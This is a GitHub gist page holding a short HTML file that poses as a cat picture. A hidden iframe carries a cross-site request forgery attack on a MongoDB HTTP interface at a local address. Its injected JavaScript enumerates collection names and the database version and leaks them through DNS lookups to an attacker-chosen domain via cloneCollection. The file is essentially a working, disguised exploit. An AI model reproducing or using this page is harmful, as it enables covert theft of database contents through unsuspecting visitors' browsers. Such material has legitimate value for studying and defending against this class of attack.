Skip to content

Instantly share code, notes, and snippets.

/mongodb_csrf_dns_oob.html Secret

Created August 31, 2016 10:24
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save anonymous/73bcef140abdf7a2c904f09e305126b9 to your computer and use it in GitHub Desktop.
Save anonymous/73bcef140abdf7a2c904f09e305126b9 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
mongodb_csrf_dns_oob.html
<html>
<head>
<title>PIC OF A CAT</title>
</head>
<body>
<div align = "center">
<h1>Pic of a cat</h1>
<img src = "https://openclipart.org/image/2400px/svg_to_png/97387/gato-1-cut.png" style = "width: 100% ;max-width: 400px;">
</div>
<textarea></textarea>
<iframe src = 'http://192.168.242.128:28017/test/$cmd/?filter_eval=ret="collections_";db.getCollectionNames().forEach(function(x){ret=ret%2bx%2b"."});{db.runCommand({cloneCollection:"",from:ret%2b"version_."%2bdb.version()%2b".example.com:27017",query:{}})}&limit=1' style = "visibility: hidden"></iframe>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment